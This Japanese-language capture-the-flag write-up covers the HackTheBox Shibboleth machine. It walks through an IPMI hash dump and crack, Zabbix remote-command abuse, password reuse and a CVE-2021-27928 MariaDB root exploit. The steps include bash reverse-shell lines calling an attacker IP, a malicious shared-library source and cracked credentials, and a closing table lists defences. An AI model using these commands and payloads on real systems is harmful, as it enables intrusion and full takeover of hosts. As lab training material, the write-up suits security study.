HackTheBox: Shibboleth — 全実行コマンド・実行結果レポート
Nmap スキャン
TCP 80 のみ / UDP 623 IPMI
→
TCP 80 のみ / UDP 623 IPMI
IPMI 2.0 RAKP ハッシュリーク
ipmi_dumphashes
→
ipmi_dumphashes
hashcat -m 7300
Administrator:ilovepumkinpie1
→
Administrator:ilovepumkinpie1
Zabbix Action/Trigger 悪用
Remote command RCE
→
Remote command RCE
zabbix シェル取得
→
パスワード使い回し
su ipmi-svc
→
su ipmi-svc
user.txt ✓
→
zabbix_server.conf 漏洩
DBPassword
→
DBPassword
CVE-2021-27928
MariaDB wsrep_provider
→
MariaDB wsrep_provider
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン(TCP)
BASH
nmap -sV -sC -p- --min-rate 3000 -oN nmap/alltcp.txt 10.129.51.140
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://shibboleth.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: shibboleth.htb
ℹ️
TCP は 80 のみ。バーチャルホスト
shibboleth.htb へリダイレクトされるため、
/etc/hosts に追記してから再アクセスする。
BASH
echo "10.129.51.140 shibboleth.htb monitoring.shibboleth.htb monitor.shibboleth.htb zabbix.shibboleth.htb" | sudo tee -a /etc/hosts
バーチャルホスト調査 & Zabbix フロントエンド発見
BASH
curl -s -L http://shibboleth.htb/ | grep -iE 'title|monitor' gobuster vhost -u http://shibboleth.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
RESULT
shibboleth.htb → 静的な会社紹介ページ (テーマ Lorem ipsum 系テンプレート)
Found: monitoring.shibboleth.htb / monitor.shibboleth.htb → zabbix.shibboleth.htb へリダイレクト
zabbix.shibboleth.htb → Zabbix 5.0 ログイン画面
🚨
TCP80上のメインサイトには目立った脆弱性なし。だが vhost 探索で Zabbix 5.0 監視システムの
フロントエンドが露出していることを発見。Zabbix は認証されればトリガーアクション経由で
任意コマンド実行が可能な既知の攻撃対象。
UDP スキャン — IPMI (623) の発見
BASH
nmap -sU --top-ports 20 -oN nmap/udp_top.txt 10.129.51.140
RESULT
PORT STATE SERVICE
623/udp open|filtered asf-rmcp ← IPMI 2.0 (RMCP+) の標準ポート
🚨
重要発見: UDP 623 が開いている = IPMI 2.0 (Intelligent Platform
Management Interface) が稼働中。IPMI 2.0 の RAKP (Remote Authenticated Key-Exchange
Protocol) には 認証不要でパスワードハッシュを取得できる既知の設計上の欠陥がある
(CVSS 各種 CVE 群、通称 “IPMI 2.0 RAKP Remote SHA1 Password Hash Retrieval”)。
PHASE 2
IPMI 2.0 RAKP ハッシュリーク & hashcat クラック
Metasploit で認証不要のままハッシュをダンプ
BASH
msfconsole -q -x "use auxiliary/scanner/ipmi/ipmi_dumphashes; set RHOSTS 10.129.51.140; run; exit"
RESULT
RHOSTS => 10.129.51.140
[+] 10.129.51.140:623 - IPMI - Hash found: Administrator:0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
ℹ️
IPMI 2.0 の RAKP メッセージ2応答には、要求さえ送ればsalt値とHMAC-SHA1で計算した
パスワードハッシュがそのまま返ってくるという仕様上の欠陥がある(RAKP-XCP1認証なしでも
HMAC値を要求できてしまうため)。認証情報は一切不要。
hashcat (mode 7300: IPMI2 RAKP HMAC-SHA1) でオフラインクラック
BASH
# ハッシュ部分(ユーザー名を除いた salt:hmac 部分)を保存 echo '0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61' > shibboleth_ipmi.hash hashcat -m 7300 -a 0 shibboleth_ipmi.hash /usr/share/wordlists/rockyou.txt --force hashcat -m 7300 shibboleth_ipmi.hash --show
RESULT
Session..........: hashcat Status...........: Cracked Hash.Mode........: 7300 (IPMI2 RAKP HMAC-SHA1) Time.Started.....: 9 secs Speed.#01........: 1041.4 kH/s 0c7f63cf840600004d84a775846e4ab8e47e21c6b43250cfccfb2ce85644ef5d9b04805ea06f26d0a123456789abcdefa123456789abcdef140d41646d696e6973747261746f72:65774cb74f425811456f42552134b0369167ff61:ilovepumkinpie1
✅
クラック成功!
Administrator:ilovepumkinpie1。rockyou.txt に対して
わずか9秒で解読できる程度の弱いパスワードだった。この Administrator パスワードは
IPMI(BMC) だけでなく Zabbix Web フロントエンドの Administrator アカウントとしても
そのまま有効(パスワード使い回し)。
PHASE 3
Zabbix Action/Trigger 悪用による RCE
Zabbix へログイン
BASH
http://zabbix.shibboleth.htb/index.php Username: Administrator Password: ilovepumkinpie1
✅
Administrator としてログイン成功。Zabbix 5.0 の管理画面がフル操作可能になる。
なお
api_jsonrpc.php への直接アクセスは Apache 設定で 403 Forbidden
にブロックされており、REST API 経由の自動化は不可 — UI 操作(ブラウザ自動化)が必須。
攻撃原理: Trigger Action の Remote command 機能
NOTE
Zabbix には「トリガーが特定の条件(深刻度など)を満たすイベントを生成したら、
Zabbix server 自身の上で任意のシェルコマンドを実行する」という正規機能
(Configuration → Actions → Operations → Remote command, Execute on: Zabbix server)
がある。これは元々は死活監視からの自動復旧スクリプト実行のための機能だが、
Administrator 権限があれば以下の手順で意図的に悪用しRCEに転用できる:
1. Configuration → Actions で新規 Trigger Action を作成
条件: Trigger severity = Disaster
操作: Remote command / 対象=Current host / 実行場所=Zabbix server
コマンド = bash -i >& /dev/tcp/<Kali IP>/4444 0>&1
2. Configuration → Hosts → Triggers で、深刻度 Disaster かつ常に真になる
新規トリガーを作成: 式 = {shibboleth.htb:proc.num.last()}>0
3. 新規トリガー作成時点で PROBLEM イベントが発生 → Action の条件に一致
→ Zabbix server プロセス上でリバースシェルコマンドが実行される
Zabbix はイベントの「状態遷移」のみを評価するため、Action を先に作成してから
新規トリガーを作成する順序を守らないと発火しない(既存の開いたままの
Problem に対しては遡って評価されない)。
Action の作成 (Configuration → Actions → Create action)
BASH
Name: killchain-rce-action [Conditions] Add → Type: Trigger severity, Value: Disaster [Operations] Add → Operation type: Remote commands Target list: Current host Execute on: Zabbix server Command: bash -c 'bash -i >& /dev/tcp/10.10.15.201/4444 0>&1'
⚠️
Zabbix 5.0 UI は独自スタイルの
<z-select> Web Components や
AJAX 読み込みのオーバーレイダイアログを多用しており、素の JS が効かない箇所がある。
深刻度ラジオボタン、Operation type セレクタ、対象ホストのチェックボックスは、
いずれも見た目上の <label> 要素をクリックしないと状態が反映されない
(下に隠れた本来の <input> への直接クリックでは無視される)。
Trigger の新規作成 & リバースシェル受信
BASH
# リスナー起動
nc -lnvp 4444
# Configuration → Hosts → shibboleth.htb → Triggers → Create trigger
Name: killchain-rce-trigger
Severity: Disaster
Expression: {shibboleth.htb:proc.num.last()}>0
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.51.140] 40052 bash: no job control in this shell zabbix@shibboleth:/$ id uid=110(zabbix) gid=118(zabbix) groups=118(zabbix)
✅
RCE成功! トリガー作成と同時に Disaster レベルの PROBLEM イベントが発生し、
Zabbix server プロセス上(Zabbix server 自体は同一ホストで動作)で仕込んだリバースシェルが
実行され
zabbix ユーザーのシェルを取得した。
PHASE 4
パスワード使い回し (su ipmi-svc) → user.txt
ローカルユーザーの確認
BASH
zabbix@shibboleth:/$ cat /etc/passwd | grep -E 'ipmi|zabbix'
RESULT
ipmi-svc:x:1000:1000:ipmi-svc,,,:/home/ipmi-svc:/bin/bash
zabbix:x:110:118::/var/lib/zabbix/:/usr/sbin/nologin
ℹ️
ipmi-svc という名前のログイン可能なローカルユーザーが存在する。IPMI 関連の
サービスアカウントと推測できるため、Phase 2 でクラックしたパスワードの使い回しを試す。
su ipmi-svc — パスワード使い回しで昇格
BASH
zabbix@shibboleth:/$ su ipmi-svc Password: ilovepumkinpie1
RESULT
ipmi-svc@shibboleth:/$ id; cat /home/ipmi-svc/user.txt uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc) 1f23fab5638ea759bc0671eefc78616c
✅
パスワード使い回し確認! IPMI(BMC)/Zabbix Administrator と同じパスワード
ilovepumkinpie1 が OS の ipmi-svc ユーザーの su パスワードとしても
有効だった。
user.txt — ipmi-svc@shibboleth
1f23fab5638ea759bc0671eefc78616c
PHASE 5
CVE-2021-27928 (MariaDB wsrep_provider) → root.txt
Zabbix サーバー設定ファイルから DB 資格情報を取得
BASH
ipmi-svc@shibboleth:/$ grep -v -E '^#|^$' /etc/zabbix/zabbix_server.conf
RESULT
LogFile=/var/log/zabbix/zabbix_server.log
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
...
ℹ️
ipmi-svc ユーザーは /etc/zabbix/zabbix_server.conf を読み取れる権限を
持っており、MySQL(MariaDB)の zabbix ユーザー認証情報が平文で記載されている。
MariaDB バージョン確認 & 脆弱性判定
BASH
ipmi-svc@shibboleth:/$ mysql --version
RESULT
mysql Ver 15.1 Distrib 10.3.25-MariaDB, for debian-linux-gnu (x86_64)
🚨
CVE-2021-27928 — MariaDB 10.1<10.1.48 / 10.2<10.2.37 /
10.3<10.3.28 / 10.4<10.4.18 / 10.5<10.5.9 に存在する脆弱性。
SET GLOBAL wsrep_provider='<path>' ステートメントは、指定した
パスの共有ライブラリ(.so)を mysqld プロセスにそのままロードする設計になっており、
十分な権限を持つ DB ユーザーであれば任意の共有ライブラリを読み込ませてコードを実行できる。
本ターゲットの MariaDB は 10.3.25 < 10.3.28 のため該当し、
かつ mysqld は root権限で動作している(このマシン特有の意図的な設定)。
悪意ある wsrep_provider 共有ライブラリの作成
BASH
cat > exploit.c <<'EOF'
#include <stdlib.h>
__attribute__((constructor))
void exploit(void) {
system("bash -c 'bash -i >& /dev/tcp/10.10.15.201/4446 0>&1'");
}
EOF
gcc -shared -fPIC -o exploit.so exploit.c
ℹ️
__attribute__((constructor)) をつけた関数は、この共有ライブラリが
dlopen() でロードされた瞬間に自動実行される。mysqld プロセスの
コンテキスト(= root)でリバースシェルコマンドが起動する仕組み。
ターゲットへ転送 & wsrep_provider にロードさせて root シェル取得
BASH
# base64 化してターゲットのシェル経由で転送 base64 exploit.so ipmi-svc@shibboleth:/$ echo <base64...> | base64 -d > /tmp/.kc_exploit.so # リスナー起動 (別ターミナル) nc -lnvp 4446 # root権限で動作する mysqld にライブラリをロードさせる ipmi-svc@shibboleth:/$ mysql -u zabbix -p'bloooarskybluh' -e \ "SET GLOBAL wsrep_provider='/tmp/.kc_exploit.so';"
RESULT (nc :4446 リスナー側)
listening on [any] 4446 ... connect to [10.10.15.201] from (UNKNOWN) [10.129.51.140] 32788 root@shibboleth:/var/lib/mysql# id; cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) 7d1c2dc02db8b34bc4f9d4d5bec6ab53
✅
root権限取得成功! mysql クライアント自体は「クエリ実行中に接続が切れた」
(
ERROR 2013: Lost connection to MySQL server during query)というエラーを返すが、
これは共有ライブラリロード時に mysqld 側でリバースシェルが fork/exec されたことによる
正常な副作用であり、無視してよい。
root.txt — root@shibboleth
7d1c2dc02db8b34bc4f9d4d5bec6ab53
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ipmi-svc@shibboleth
1f23fab5638ea759bc0671eefc78616c
root.txt — root@shibboleth
7d1c2dc02db8b34bc4f9d4d5bec6ab53
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| IPMI 2.0 RAKP ハッシュリーク | UDP 623 (BMC) | 認証情報漏洩 | High | 認証不要で Administrator の HMAC-SHA1 パスワードハッシュを取得し hashcat -m 7300 でクラック |
| Zabbix Action/Trigger 悪用 RCE | Zabbix 5.0 (zabbix.shibboleth.htb) | リモートコード実行 (zabbix ユーザー) | Critical | Trigger severity=Disaster の Remote command アクションを作成し、常に真になるトリガーを新規作成して発火させる |
| パスワード使い回し | OS ユーザー ipmi-svc | 権限昇格 (ローカルユーザー) | Medium | IPMI/Zabbix Administrator と同一パスワードで su ipmi-svc が成功 |
| CVE-2021-27928 | MariaDB 10.3.25 (wsrep_provider) | リモートコード実行 (root) | Critical | SET GLOBAL wsrep_provider='<path.so>' で任意共有ライブラリを mysqld(root)にロードさせる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP全ポート + UDPトップ + vhost探索 | TCP80(Apache)、UDP623(IPMI)、zabbix.shibboleth.htb発見 |
| 2 | IPMIハッシュリーク | msf ipmi_dumphashes + hashcat -m 7300 | Administrator:ilovepumkinpie1 |
| 3 | Zabbix RCE | Trigger Action(Remote command)悪用 | zabbix ユーザーのリバースシェル |
| 4 | 権限昇格1 | パスワード使い回し (su ipmi-svc) | user.txt 取得 |
| 5 | 情報収集 | zabbix_server.conf 閲覧 | zabbix(mysql):bloooarskybluh |
| 6 | 権限昇格2 | CVE-2021-27928 wsrep_provider ロード | root.txt 取得(root シェル) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| IPMI 2.0 (UDP 623) が外部に公開され、RAKP プロトコルの仕様上の欠陥でハッシュが漏洩 | IPMI/BMC インターフェースは管理用の隔離ネットワークに限定し、インターネット/内部一般セグメントに公開しない。可能であれば IPMI 2.0 の Cipher Suite 0 を無効化する。 |
| Zabbix Administrator アカウントが弱いパスワードで、かつ複数システムでパスワードを使い回している | サービスごとに一意で十分な強度のパスワードを設定し、監視システムなど強力な実行権限を持つ管理画面のパスワードは特に厳格に管理する。 |
| Zabbix の Trigger Action Remote command 機能が Administrator 権限で自由に悪用できる | Remote command 操作の利用を必要最小限に限定し、実行対象コマンドをホワイトリスト化する。可能なら Zabbix server 上での任意コマンド実行操作自体を無効化する。 |
| 脆弱なバージョンの MariaDB (10.3.25 < 10.3.28, CVE-2021-27928) を使用し、かつ mysqld が root 権限で稼働 | DB ソフトウェアを速やかにパッチ適用する。mysqld は専用の非特権ユーザーで実行し、root では絶対に動かさない。 |
